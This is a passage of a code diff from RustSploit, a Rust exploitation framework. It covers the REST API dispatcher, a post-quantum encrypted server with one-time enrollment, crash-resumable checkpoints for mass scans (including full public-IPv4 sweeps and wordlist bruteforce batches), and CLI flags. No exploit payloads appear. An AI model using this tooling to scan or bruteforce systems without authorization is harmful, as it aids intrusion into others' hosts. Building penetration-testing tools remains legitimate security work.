return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "job id must be numeric");
|
||||
}
|
||||
merge_query_int!(params, query, ["from"]);
|
||||
"get_job"
|
||||
}
|
||||
("DELETE", "jobs", Some(id), _) => {
|
||||
if let Ok(n) = id.parse::<u64>() {
|
||||
params.insert("id".to_string(), Value::Number(n.into()));
|
||||
} else {
|
||||
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "job id must be numeric");
|
||||
}
|
||||
"kill_job"
|
||||
}
|
||||
("DELETE", "jobs", None, _) => {
|
||||
// Body-style {id: N} — accept either a number or a numeric string.
|
||||
if let Some(id_val) = body_obj.get("id") {
|
||||
if let Some(n) = id_val.as_u64() {
|
||||
params.insert("id".to_string(), Value::Number(n.into()));
|
||||
} else if let Some(s) = id_val.as_str().and_then(|s| s.parse::<u64>().ok()) {
|
||||
params.insert("id".to_string(), Value::Number(s.into()));
|
||||
} else {
|
||||
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "invalid job id");
|
||||
}
|
||||
} else {
|
||||
return err_resp(StatusCode::BAD_REQUEST, "INVALID_INPUT", "job id is required");
|
||||
}
|
||||
"kill_job"
|
||||
}
|
||||
|
||||
// ── Spool ───────────────────────────────────────────────────
|
||||
("GET", "spool", None, _) => "spool_status",
|
||||
("POST", "spool", None, _) => {
|
||||
// Body shape: {action: "start"|"stop", filename?: ...}
|
||||
let action = body_obj
|
||||
.get("action")
|
||||
.and_then(|v| v.as_str())
|
||||
.unwrap_or("");
|
||||
match action {
|
||||
"start" => {
|
||||
if let Some(f) = body_obj.get("filename") {
|
||||
params.insert("filename".to_string(), f.clone());
|
||||
}
|
||||
"spool_start"
|
||||
}
|
||||
"stop" => "spool_stop",
|
||||
_ => {
|
||||
return err_resp(
|
||||
StatusCode::BAD_REQUEST,
|
||||
"INVALID_INPUT",
|
||||
"action must be 'start' or 'stop'",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Results ─────────────────────────────────────────────────
|
||||
("GET", "results", None, _) => "list_results",
|
||||
("GET", "results", Some(name), _) => {
|
||||
params.insert("filename".to_string(), Value::String(name.to_string()));
|
||||
"get_result"
|
||||
}
|
||||
|
||||
// ── Export ──────────────────────────────────────────────────
|
||||
("GET", "export", None, _) => {
|
||||
merge_query!(params, query, ["format"]);
|
||||
"export"
|
||||
}
|
||||
|
||||
// ── Shell (intentionally not exposed via REST until ACL design lands) ─
|
||||
("POST", "shell", None, _) => {
|
||||
return err_resp(
|
||||
StatusCode::NOT_IMPLEMENTED,
|
||||
"NOT_IMPLEMENTED",
|
||||
"Shell-over-API is disabled; use individual RPC methods (set_target, run_module, …)",
|
||||
);
|
||||
}
|
||||
|
||||
// ── Default: nothing matched ────────────────────────────────
|
||||
_ => {
|
||||
return err_resp(
|
||||
StatusCode::NOT_FOUND,
|
||||
"ROUTE_NOT_FOUND",
|
||||
&format!("No mapping for {} /api/{}", method, tail),
|
||||
);
|
||||
}
|
||||
};
|
||||
|
||||
// Fail closed, mirroring the WS dispatch guard (ws.rs): only run under a
|
||||
// tenant that still resolves. `tenant::resolve()` silently falls back to the
|
||||
// process-global stores when the registry rejects a tenant (e.g. the
|
||||
// MAX_TENANTS cap is hit), which would otherwise let a REST caller read and
|
||||
// write another tenant's loot/creds/options/jobs.
|
||||
if let Err(e) = crate::tenant::resolve_for(&identity.client_name) {
|
||||
return err_resp(StatusCode::SERVICE_UNAVAILABLE, "TENANT_REJECTED", &e);
|
||||
}
|
||||
crate::tenant::CURRENT_TENANT
|
||||
.scope(
|
||||
identity.client_name,
|
||||
invoke_rpc(rpc_method, Value::Object(params)),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
// ─── Server Entry Point ─────────────────────────────────────────────
|
||||
|
||||
pub async fn start_api_server(
|
||||
bind_address: &str,
|
||||
verbose: bool,
|
||||
host_key_path: &std::path::Path,
|
||||
authorized_keys_path: &std::path::Path,
|
||||
passphrase: Option<&str>,
|
||||
) -> Result<()> {
|
||||
if verbose {
|
||||
tracing::info!("Starting API server in verbose mode");
|
||||
}
|
||||
// We don't refuse any bind address. The bootstrap path is gated by a
|
||||
// one-time enrollment token printed at startup (see /pq/register-key),
|
||||
// not by the bind interface — the token is the sole authority that
|
||||
// permits the very first authorized_keys entry.
|
||||
let host_identity = crate::pq_channel::HostIdentity::load_or_generate(host_key_path, passphrase)
|
||||
.context("Failed to load/generate PQ host key")?;
|
||||
|
||||
let authorized_keys = crate::pq_channel::load_authorized_keys(authorized_keys_path)
|
||||
.context("Failed to load authorized keys")?;
|
||||
|
||||
let pq_sessions = crate::pq_channel::new_session_store();
|
||||
|
||||
let n_plugins = crate::commands::plugin_count();
|
||||
if n_plugins > 0 {
|
||||
eprintln!("{}", "[!] WARNING: Third-party plugins loaded. RustSploit is NOT responsible for third-party plugin behavior.".red().bold());
|
||||
eprintln!("[!] Loaded plugins: {}", n_plugins);
|
||||
}
|
||||
|
||||
println!("Starting RustSploit WS server (PQ-encrypted)...");
|
||||
println!("Binding to: {}", bind_address);
|
||||
println!("Host key fingerprint: {}", host_identity.fingerprint());
|
||||
println!("Authorized clients: {}", authorized_keys.len());
|
||||
for key in &authorized_keys {
|
||||
println!(" {} ({})",
|
||||
key.name,
|
||||
crate::pq_channel::fingerprint(&[&key.x25519_public, &key.mlkem_ek, &key.mceliece_public]));
|
||||
}
|
||||
|
||||
// Generate a one-time enrollment token. Operators bootstrap remote
|
||||
// clients by POSTing their PQ public keys to /pq/register-key with this
|
||||
// token. The token is printed at startup, held only in memory, and
|
||||
// consumed on first successful registration. Subsequent key changes
|
||||
// must use the established PQ session.
|
||||
let enrollment_token = crate::pq_channel::generate_enrollment_token();
|
||||
let enrollment_token_print = enrollment_token.clone();
|
||||
|
||||
let pq_state = Arc::new(crate::pq_middleware::PqSharedState {
|
||||
sessions: pq_sessions,
|
||||
host_identity: Arc::new(host_identity),
|
||||
authorized_keys: tokio::sync::RwLock::new(authorized_keys),
|
||||
authorized_keys_path: authorized_keys_path.to_path_buf(),
|
||||
handshake_rate_limiter: crate::pq_middleware::new_handshake_rate_limiter(),
|
||||
enrollment_token: tokio::sync::Mutex::new(Some(enrollment_token)),
|
||||
});
|
||||
|
||||
let cleanup_sessions = pq_state.sessions.clone();
|
||||
let cleanup_rate_limiter = pq_state.handshake_rate_limiter.clone();
|
||||
tokio::spawn(async move {
|
||||
let mut interval = tokio::time::interval(std::time::Duration::from_secs(300));
|
||||
loop {
|
||||
interval.tick().await;
|
||||
// Two-phase cleanup: first take a SHORT read lock to scan
|
||||
// last_activity (locking each session's mutex non-blockingly),
|
||||
// then take the write lock only to remove the doomed entries.
|
||||
// This keeps the map readable during the bulk of the work.
|
||||
let doomed: Vec<[u8; 16]> = {
|
||||
let store = cleanup_sessions.read().await;
|
||||
let mut out = Vec::new();
|
||||
for (id, sess_arc) in store.iter() {
|
||||
if let Ok(sess) = sess_arc.try_lock()
|
||||
&& sess.last_activity.elapsed() >= std::time::Duration::from_secs(3600) {
|
||||
out.push(*id);
|
||||
}
|
||||
}
|
||||
out
|
||||
};
|
||||
let removed_n = if !doomed.is_empty() {
|
||||
let mut store = cleanup_sessions.write().await;
|
||||
let mut n = 0usize;
|
||||
for id in &doomed {
|
||||
if store.remove(id).is_some() { n += 1; }
|
||||
}
|
||||
n
|
||||
} else { 0 };
|
||||
if removed_n > 0 {
|
||||
let remaining = cleanup_sessions.read().await.len();
|
||||
tracing::info!("PQ session cleanup: removed {} idle sessions ({} remaining)", removed_n, remaining);
|
||||
}
|
||||
|
||||
let mut limiter = cleanup_rate_limiter.lock().await;
|
||||
limiter.retain(|_, timestamps| {
|
||||
timestamps.retain(|t| t.elapsed() < std::time::Duration::from_secs(120));
|
||||
!timestamps.is_empty()
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
// The PQ middleware MUST be the outermost wrapper for /api/* so it can
|
||||
// see the encrypted body before any extractor tries to parse it. Mount
|
||||
// it as a `route_layer` so it only runs on the /api/* surface and not
|
||||
// on /health, /pq/handshake, /pq/ws which speak their own protocols.
|
||||
let api_router: Router = Router::new()
|
||||
// Specific routes BEFORE the catch-all so the dispatcher doesn't
|
||||
// swallow them. Identity revocation lives behind the PQ middleware
|
||||
// so the request is AEAD-authenticated by an existing client.
|
||||
.route("/api/pq/revoke-key", post(crate::pq_middleware::revoke_key_handler))
|
||||
.route("/api/{*tail}", any(api_dispatcher))
|
||||
.route_layer(axum::middleware::from_fn(crate::pq_middleware::pq_middleware));
|
||||
|
||||
// Cap the JSON request body explicitly. Axum's default is 2 MiB, but we
|
||||
// pin it here so a future caller can't disable it upstream by accident.
|
||||
const MAX_REQUEST_BODY: usize = 2 * 1024 * 1024;
|
||||
|
||||
let app = Router::new()
|
||||
.route("/health", get(health_check))
|
||||
.route("/pq/handshake", post(crate::pq_middleware::handshake_handler))
|
||||
.route("/pq/register-key", post(crate::pq_middleware::register_key_handler))
|
||||
.route("/pq/ws", get(crate::ws::ws_upgrade))
|
||||
.merge(api_router)
|
||||
.layer(axum::extract::DefaultBodyLimit::max(MAX_REQUEST_BODY))
|
||||
.layer(axum::Extension(pq_state))
|
||||
.layer(
|
||||
ServiceBuilder::new()
|
||||
.layer(TraceLayer::new_for_http()),
|
||||
);
|
||||
|
||||
println!("Server running on http://{}", bind_address);
|
||||
println!("Transport: Post-Quantum encryption (ML-KEM-768 + X25519 + ChaCha20-Poly1305)");
|
||||
println!(
|
||||
"Endpoints: GET /health, POST /pq/handshake, POST /pq/register-key, GET /pq/ws, ALL /api/*"
|
||||
);
|
||||
println!();
|
||||
println!("{}", "═══════════════════════════════════════════════════════════════".cyan());
|
||||
println!("{} {}", "ENROLLMENT TOKEN (one-time, prints once):".yellow().bold(), enrollment_token_print.bright_white().bold());
|
||||
println!("{}", "Bootstrap a client by POSTing its PQ public keys + this".dimmed());
|
||||
println!("{}", "token to POST /pq/register-key:".dimmed());
|
||||
println!("{}", " { token, name, x25519_pub, mlkem_ek }".dimmed());
|
||||
println!("{}", "After first successful registration the token is consumed; further".dimmed());
|
||||
println!("{}", "key changes must go through the established PQ session.".dimmed());
|
||||
println!("{}", "═══════════════════════════════════════════════════════════════".cyan());
|
||||
println!();
|
||||
|
||||
let listener = tokio::net::TcpListener::bind(bind_address)
|
||||
.await
|
||||
.context(format!("Failed to bind to {}", bind_address))?;
|
||||
|
||||
axum::serve(
|
||||
listener,
|
||||
app.into_make_service_with_connect_info::<SocketAddr>(),
|
||||
)
|
||||
.await
|
||||
.context("API server error")?;
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -0,0 +1,480 @@
|
||||
// src/checkpoint.rs
|
||||
//
|
||||
// Crash-resumable checkpoints for long-running mass scans.
|
||||
//
|
||||
// The scheduler periodically writes the set of already-processed targets to
|
||||
// `~/.rustsploit/checkpoints/<scan_id>.json`. On restart, `--resume <scan_id>`
|
||||
// loads the file, skips processed targets, and continues from where the
|
||||
// crash interrupted.
|
||||
//
|
||||
// Format (append-only, line-delimited):
|
||||
// line 1: {"scan_id":"...","module":"scanners/port_scanner","target":"10.0.0.0/16","started":"2026-05-07T..."}
|
||||
// line 2+: one processed target per line ("10.0.0.1", "10.0.0.2", ...)
|
||||
//
|
||||
// Each flush *appends* only the newly-processed targets rather than
|
||||
// re-serializing the entire (potentially multi-million entry) set, so the
|
||||
// total bytes written over a scan is O(n) instead of O(n²). Bounded by
|
||||
// `MAX_CHECKPOINT_ENTRIES` to keep memory + disk usage in check on huge scans.
|
||||
// A crash may leave a partial trailing line; the loader simply ignores any
|
||||
// line that isn't a valid entry.
|
||||
|
||||
use std::collections::HashSet;
|
||||
use std::path::{Path, PathBuf};
|
||||
use std::sync::Arc;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use tokio::io::AsyncWriteExt;
|
||||
use tokio::sync::Mutex;
|
||||
|
||||
const MAX_CHECKPOINT_ENTRIES: usize = 10_000_000;
|
||||
const FLUSH_EVERY_N: usize = 200;
|
||||
|
||||
/// In-memory / returned representation of a checkpoint.
|
||||
#[derive(Debug, Clone)]
|
||||
pub struct Checkpoint {
|
||||
pub scan_id: String,
|
||||
pub module: String,
|
||||
pub target: String,
|
||||
pub started: String,
|
||||
pub processed: Vec<String>,
|
||||
}
|
||||
|
||||
/// On-disk header line (everything except the processed entries, which are
|
||||
/// stored one-per-line after it).
|
||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
||||
struct CheckpointHeader {
|
||||
scan_id: String,
|
||||
module: String,
|
||||
target: String,
|
||||
started: String,
|
||||
}
|
||||
|
||||
/// Read an append-only checkpoint file into a `Checkpoint`. The first line is
|
||||
/// the JSON header; each subsequent non-empty line is a processed target.
|
||||
/// Malformed lines (e.g. a torn final line after a crash) are skipped.
|
||||
fn load_from_path(path: &Path) -> Result<Checkpoint> {
|
||||
let raw = std::fs::read_to_string(path)
|
||||
.with_context(|| format!("read {}", path.display()))?;
|
||||
let mut lines = raw.lines();
|
||||
let header_line = lines.next().unwrap_or("");
|
||||
let header: CheckpointHeader = serde_json::from_str(header_line)
|
||||
.with_context(|| format!("parse header of {}", path.display()))?;
|
||||
let processed: Vec<String> = lines
|
||||
.map(str::trim)
|
||||
.filter(|l| !l.is_empty())
|
||||
.map(|l| l.to_string())
|
||||
.collect();
|
||||
Ok(Checkpoint {
|
||||
scan_id: header.scan_id,
|
||||
module: header.module,
|
||||
target: header.target,
|
||||
started: header.started,
|
||||
processed,
|
||||
})
|
||||
}
|
||||
|
||||
/// Live writer for an in-progress scan. Tracks processed targets in memory
|
||||
/// (bounded by `MAX_CHECKPOINT_ENTRIES`) and flushes to disk every
|
||||
/// `FLUSH_EVERY_N` records or when explicitly requested.
|
||||
pub struct CheckpointWriter {
|
||||
inner: Arc<Mutex<Inner>>,
|
||||
}
|
||||
|
||||
struct Inner {
|
||||
cp: Checkpoint,
|
||||
seen: HashSet<String>,
|
||||
pending_writes: usize,
|
||||
/// Count of `cp.processed` entries already appended to disk.
|
||||
persisted: usize,
|
||||
/// Whether the header line has been written (true for resumed files).
|
||||
header_written: bool,
|
||||
/// Set once the entry cap is hit, so the "records dropped" warning is
|
||||
/// emitted a single time rather than per-record.
|
||||
cap_warned: bool,
|
||||
path: PathBuf,
|
||||
closed: bool,
|
||||
}
|
||||
|
||||
impl CheckpointWriter {
|
||||
/// Create or resume a checkpoint. If `~/.rustsploit/checkpoints/<scan_id>.json`
|
||||
/// already exists, the previously-processed set is loaded.
|
||||
pub fn open(scan_id: &str, module: &str, target: &str) -> Result<Self> {
|
||||
let path = checkpoint_path(scan_id);
|
||||
if let Some(parent) = path.parent() {
|
||||
std::fs::create_dir_all(parent)
|
||||
.with_context(|| format!("create {}", parent.display()))?;
|
||||
}
|
||||
let exists = path.exists();
|
||||
let cp = if exists {
|
||||
load_from_path(&path)?
|
||||
} else {
|
||||
Checkpoint {
|
||||
scan_id: scan_id.to_string(),
|
||||
module: module.to_string(),
|
||||
target: target.to_string(),
|
||||
started: chrono::Utc::now().to_rfc3339(),
|
||||
processed: Vec::new(),
|
||||
}
|
||||
};
|
||||
let seen: HashSet<String> = cp.processed.iter().cloned().collect();
|
||||
let persisted = cp.processed.len();
|
||||
Ok(Self {
|
||||
inner: Arc::new(Mutex::new(Inner {
|
||||
cp,
|
||||
seen,
|
||||
pending_writes: 0,
|
||||
persisted,
|
||||
header_written: exists,
|
||||
cap_warned: false,
|
||||
path,
|
||||
closed: false,
|
||||
})),
|
||||
})
|
||||
}
|
||||
|
||||
/// True if the given target was already processed in a prior run.
|
||||
pub async fn already_processed(&self, target: &str) -> bool {
|
||||
let g = self.inner.lock().await;
|
||||
g.seen.contains(target)
|
||||
}
|
||||
|
||||
/// Mark a target processed. Triggers a disk flush every `FLUSH_EVERY_N`.
|
||||
pub async fn record(&self, target: &str) -> Result<()> {
|
||||
let mut g = self.inner.lock().await;
|
||||
if g.seen.len() >= MAX_CHECKPOINT_ENTRIES {
|
||||
// Past the cap we can no longer persist progress; targets recorded
|
||||
// from here on will be re-scanned on resume. Surface this once
|
||||
// instead of silently dropping records (which would look identical
|
||||
// to "successfully checkpointed").
|
||||
if !g.cap_warned {
|
||||
g.cap_warned = true;
|
||||
tracing::warn!(
|
||||
"checkpoint entry cap ({}) reached — further targets will not be persisted and may be re-scanned on resume",
|
||||
MAX_CHECKPOINT_ENTRIES
|
||||
);
|
||||
}
|
||||
return Ok(());
|
||||
}
|
||||
if !g.seen.insert(target.to_string()) {
|
||||
return Ok(());
|
||||
}
|
||||
g.cp.processed.push(target.to_string());
|
||||
g.pending_writes += 1;
|
||||
if g.pending_writes >= FLUSH_EVERY_N {
|
||||
flush_locked(&mut g).await?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Force a flush to disk (call before exiting cleanly).
|
||||
pub async fn flush(&self) -> Result<()> {
|
||||
let mut g = self.inner.lock().await;
|
||||
if !g.closed {
|
||||
flush_locked(&mut g).await?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Mark the checkpoint complete and remove the file.
|
||||
pub async fn finish(&self) -> Result<()> {
|
||||
let mut g = self.inner.lock().await;
|
||||
g.closed = true;
|
||||
if g.path.exists() {
|
||||
tokio::fs::remove_file(&g.path).await
|
||||
.with_context(|| format!("rm {}", g.path.display()))?;
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Number of targets already processed.
|
||||
pub async fn count(&self) -> usize {
|
||||
self.inner.lock().await.seen.len()
|
||||
}
|
||||
}
|
||||
|
||||
async fn flush_locked(g: &mut tokio::sync::MutexGuard<'_, Inner>) -> Result<()> {
|
||||
// Build only the not-yet-persisted suffix so each flush is O(batch).
|
||||
let mut buf = String::new();
|
||||
if !g.header_written {
|
||||
let header = CheckpointHeader {
|
||||
scan_id: g.cp.scan_id.clone(),
|
||||
module: g.cp.module.clone(),
|
||||
target: g.cp.target.clone(),
|
||||
started: g.cp.started.clone(),
|
||||
};
|
||||
buf.push_str(&serde_json::to_string(&header)?);
|
||||
buf.push('\n');
|
||||
}
|
||||
for entry in &g.cp.processed[g.persisted..] {
|
||||
// Entries are IPs/hostnames; guard against any stray newline so the
|
||||
// line-delimited format stays parseable.
|
||||
buf.push_str(&entry.replace(['\n', '\r'], ""));
|
||||
buf.push('\n');
|
||||
}
|
||||
|
||||
let mut file = tokio::fs::OpenOptions::new()
|
||||
.create(true)
|
||||
.append(true)
|
||||
.open(&g.path)
|
||||
.await
|
||||
.with_context(|| format!("open {} for append", g.path.display()))?;
|
||||
file.write_all(buf.as_bytes())
|
||||
.await
|
||||
.with_context(|| format!("append {}", g.path.display()))?;
|
||||
// Propagate flush failures: if the bytes did not reach the OS we must NOT
|
||||
// advance `persisted`/`header_written` below, or those entries would never
|
||||
// be re-appended and the checkpoint would silently lose processed hosts.
|
||||
file.flush()
|
||||
.await
|
||||
.with_context(|| format!("flush {}", g.path.display()))?;
|
||||
|
||||
g.header_written = true;
|
||||
g.persisted = g.cp.processed.len();
|
||||
g.pending_writes = 0;
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Base checkpoints directory for the current tenant.
|
||||
///
|
||||
/// In multi-tenant API mode each tenant gets its own namespace
|
||||
/// (`~/.rustsploit/checkpoints/tenants/<tenant>/`) so concurrent tenants
|
||||
/// scanning the same module+target do not share one checkpoint file (which
|
||||
/// would cross-leak processed targets, interleave appends, and let one
|
||||
/// tenant's `finish()` delete the file out from under another). Shell mode
|
||||
/// (no tenant context) keeps the historical process-global path
|
||||
/// (`~/.rustsploit/checkpoints/`) for backwards compatibility.
|
||||
fn checkpoints_base_dir() -> PathBuf {
|
||||
let base = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("checkpoints");
|
||||
match crate::context::current_tenant_id() {
|
||||
Some(tid) => {
|
||||
let tid = sanitize(&tid);
|
||||
if tid.is_empty() {
|
||||
base
|
||||
} else {
|
||||
base.join("tenants").join(tid)
|
||||
}
|
||||
}
|
||||
None => base,
|
||||
}
|
||||
}
|
||||
|
||||
fn checkpoint_path(scan_id: &str) -> PathBuf {
|
||||
checkpoints_base_dir().join(format!("{}.json", sanitize(scan_id)))
|
||||
}
|
||||
|
||||
// ---- Sequential-scan high-water-mark resume -----------------------------
|
||||
//
|
||||
// A sequential full-public-IPv4 sweep can dispatch billions of addresses, so
|
||||
// the per-target set used by random/CIDR scans does not scale. Sequential scans
|
||||
// instead store a single high-water IPv4 (as a u32) — the last dispatched
|
||||
// address — and resume from `hi + 1`.
|
||||
|
||||
fn seq_marker_path(scan_id: &str) -> PathBuf {
|
||||
checkpoints_base_dir().join(format!("{}.seq", sanitize(scan_id)))
|
||||
}
|
||||
|
||||
/// Read the sequential resume point (last dispatched IPv4 as u32), if any.
|
||||
pub fn read_seq_marker(scan_id: &str) -> Option<u32> {
|
||||
let path = seq_marker_path(scan_id);
|
||||
match std::fs::read_to_string(&path) {
|
||||
Ok(s) => match s.trim().parse::<u32>() {
|
||||
Ok(v) => Some(v),
|
||||
Err(e) => {
|
||||
tracing::debug!("seq marker {} unparseable: {e}", path.display());
|
||||
None
|
||||
}
|
||||
},
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => None,
|
||||
Err(e) => {
|
||||
tracing::debug!("seq marker read {} failed: {e}", path.display());
|
||||
None
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Persist the sequential high-water IPv4 (best-effort; logs at debug on error).
|
||||
pub fn write_seq_marker(scan_id: &str, ip: u32) {
|
||||
let path = seq_marker_path(scan_id);
|
||||
if let Some(parent) = path.parent()
|
||||
&& let Err(e) = std::fs::create_dir_all(parent)
|
||||
{
|
||||
tracing::debug!("seq marker mkdir {} failed: {e}", parent.display());
|
||||
return;
|
||||
}
|
||||
if let Err(e) = std::fs::write(&path, ip.to_string()) {
|
||||
tracing::debug!("seq marker write {} failed: {e}", path.display());
|
||||
}
|
||||
}
|
||||
|
||||
/// Remove the sequential marker on clean completion (best-effort).
|
||||
pub fn clear_seq_marker(scan_id: &str) {
|
||||
let path = seq_marker_path(scan_id);
|
||||
match std::fs::remove_file(&path) {
|
||||
Ok(()) => {}
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {}
|
||||
Err(e) => tracing::debug!("seq marker remove {} failed: {e}", path.display()),
|
||||
}
|
||||
}
|
||||
|
||||
// ---- Streaming-bruteforce batch resume ----------------------------------
|
||||
//
|
||||
// A streaming bruteforce of a large password wordlist processes the file in
|
||||
// fixed-size batches. With `setg bruteforce_resume y` the engine records the
|
||||
// index of the last fully-completed batch, keyed by (target, port, wordlist,
|
||||
// size), so an interrupted run skips already-tried batches on restart.
|
||||
|
||||
fn bruteforce_marker_path(key: &str) -> PathBuf {
|
||||
checkpoints_base_dir().join(format!("{}.bfr", sanitize(key)))
|
||||
}
|
||||
|
||||
/// Read the last fully-completed batch index for a streaming bruteforce, or 0
|
||||
/// when there is no marker (start from the beginning).
|
||||
pub fn read_bruteforce_marker(key: &str) -> usize {
|
||||
let path = bruteforce_marker_path(key);
|
||||
match std::fs::read_to_string(&path) {
|
||||
Ok(s) => match s.trim().parse::<usize>() {
|
||||
Ok(v) => v,
|
||||
Err(e) => {
|
||||
tracing::debug!("bruteforce marker {} unparseable: {e}", path.display());
|
||||
0
|
||||
}
|
||||
},
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => 0,
|
||||
Err(e) => {
|
||||
tracing::debug!("bruteforce marker read {} failed: {e}", path.display());
|
||||
0
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Persist the last fully-completed batch index (best-effort; logs at debug).
|
||||
pub fn write_bruteforce_marker(key: &str, batch_idx: usize) {
|
||||
let path = bruteforce_marker_path(key);
|
||||
if let Some(parent) = path.parent()
|
||||
&& let Err(e) = std::fs::create_dir_all(parent)
|
||||
{
|
||||
tracing::debug!("bruteforce marker mkdir {} failed: {e}", parent.display());
|
||||
return;
|
||||
}
|
||||
if let Err(e) = std::fs::write(&path, batch_idx.to_string()) {
|
||||
tracing::debug!("bruteforce marker write {} failed: {e}", path.display());
|
||||
}
|
||||
}
|
||||
|
||||
/// Remove the bruteforce batch marker on clean completion (best-effort).
|
||||
pub fn clear_bruteforce_marker(key: &str) {
|
||||
let path = bruteforce_marker_path(key);
|
||||
match std::fs::remove_file(&path) {
|
||||
Ok(()) => {}
|
||||
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {}
|
||||
Err(e) => tracing::debug!("bruteforce marker remove {} failed: {e}", path.display()),
|
||||
}
|
||||
}
|
||||
|
||||
fn sanitize(s: &str) -> String {
|
||||
s.chars()
|
||||
.map(|c| {
|
||||
if c.is_ascii_alphanumeric() || c == '_' || c == '-' {
|
||||
c
|
||||
} else {
|
||||
'_'
|
||||
}
|
||||
})
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Collect `*.json` checkpoints directly inside `dir` into `out` (non-recursive).
|
||||
fn collect_checkpoints_in(dir: &Path, out: &mut Vec<Checkpoint>) {
|
||||
let entries = match std::fs::read_dir(dir) {
|
||||
Ok(e) => e,
|
||||
Err(e) => { tracing::debug!("skipping checkpoint dir {}: {e}", dir.display()); return; }
|
||||
};
|
||||
for entry in entries.flatten() {
|
||||
let path = entry.path();
|
||||
if path.extension().and_then(|e| e.to_str()) != Some("json") {
|
||||
continue;
|
||||
}
|
||||
match load_from_path(&path) {
|
||||
Ok(cp) => out.push(cp),
|
||||
Err(e) => { tracing::debug!("skipping unreadable checkpoint {}: {e}", path.display()); }
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// List all on-disk checkpoints (for `rustsploit --list-checkpoints`).
|
||||
///
|
||||
/// Includes the process-global checkpoints (shell mode) plus every
|
||||
/// per-tenant namespace under `checkpoints/tenants/<tenant>/`, so the
|
||||
/// listing is complete regardless of which tenant wrote each one.
|
||||
pub fn list_checkpoints() -> Result<Vec<Checkpoint>> {
|
||||
let dir = home::home_dir()
|
||||
.unwrap_or_else(|| PathBuf::from("."))
|
||||
.join(".rustsploit")
|
||||
.join("checkpoints");
|
||||
if !dir.exists() {
|
||||
return Ok(Vec::new());
|
||||
}
|
||||
let mut out = Vec::new();
|
||||
// Process-global (shell-mode) checkpoints.
|
||||
collect_checkpoints_in(&dir, &mut out);
|
||||
// Per-tenant namespaces.
|
||||
let tenants_dir = dir.join("tenants");
|
||||
if tenants_dir.is_dir() {
|
||||
match std::fs::read_dir(&tenants_dir) {
|
||||
Ok(entries) => {
|
||||
for entry in entries.flatten() {
|
||||
let tpath = entry.path();
|
||||
if tpath.is_dir() {
|
||||
collect_checkpoints_in(&tpath, &mut out);
|
||||
}
|
||||
}
|
||||
}
|
||||
Err(e) => tracing::debug!("read tenants checkpoint dir {} failed: {e}", tenants_dir.display()),
|
||||
}
|
||||
}
|
||||
out.sort_by(|a, b| a.started.cmp(&b.started));
|
||||
Ok(out)
|
||||
}
|
||||
|
||||
/// Generate a default scan_id from the module + target — deterministic so
|
||||
/// resuming works without the operator remembering an ID.
|
||||
pub fn auto_scan_id(module: &str, target: &str) -> String {
|
||||
use sha2::{Digest, Sha256};
|
||||
let mut h = Sha256::new();
|
||||
h.update(module.as_bytes());
|
||||
h.update(b"\0");
|
||||
h.update(target.as_bytes());
|
||||
let digest = h.finalize();
|
||||
format!("{}-{}", module.replace('/', "_"), &hex::encode(digest)[..8])
|
||||
}
|
||||
|
||||
/// True if a checkpoint exists for the (module, target) pair.
|
||||
pub fn has_existing(module: &str, target: &str) -> bool {
|
||||
let id = auto_scan_id(module, target);
|
||||
checkpoint_path(&id).exists()
|
||||
}
|
||||
|
||||
/// Public helper for callers that just want the path without opening.
|
||||
pub fn path_for(scan_id: &str) -> PathBuf {
|
||||
checkpoint_path(scan_id)
|
||||
}
|
||||
|
||||
/// Trivially-readable summary line.
|
||||
impl std::fmt::Display for Checkpoint {
|
||||
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
|
||||
write!(
|
||||
f,
|
||||
"{} module={} target={} processed={} started={}",
|
||||
self.scan_id,
|
||||
self.module,
|
||||
self.target,
|
||||
self.processed.len(),
|
||||
self.started,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
+70
-6
@@ -1,13 +1,8 @@
|
||||
use clap::{ArgGroup, Parser};
|
||||
use clap::Parser;
|
||||
|
||||
/// Simple RouterSploit-like CLI in Rust
|
||||
#[derive(Parser, Debug)]
|
||||
#[command(author, version, about, long_about = None)]
|
||||
#[clap(group(
|
||||
ArgGroup::new("mode")
|
||||
.required(false)
|
||||
.args(&["command"])
|
||||
))]
|
||||
pub struct Cli {
|
||||
/// Subcommand to run (e.g. "exploit", "scanner", "creds")
|
||||
pub command: Option<String>,
|
||||
@@ -19,4 +14,73 @@ pub struct Cli {
|
||||
/// Module name to use
|
||||
#[arg(short, long)]
|
||||
pub module: Option<String>,
|
||||
|
||||
/// Launch API server mode
|
||||
#[arg(long)]
|
||||
pub api: bool,
|
||||
|
||||
/// Path to PQ authorized keys file (default: ~/.rustsploit/pq_authorized_keys)
|
||||
#[arg(long, requires = "api")]
|
||||
pub pq_authorized_keys: Option<String>,
|
||||
|
||||
/// Network interface to bind API server to (default: 127.0.0.1)
|
||||
#[arg(long, requires = "api", default_value = "127.0.0.1")]
|
||||
pub interface: Option<String>,
|
||||
|
||||
/// Set global target IP/subnet for all modules
|
||||
#[arg(long)]
|
||||
pub set_target: Option<String>,
|
||||
|
||||
/// Enable verbose output (shows detailed operation logs)
|
||||
#[arg(short, long)]
|
||||
pub verbose: bool,
|
||||
|
||||
/// List all available modules and exit
|
||||
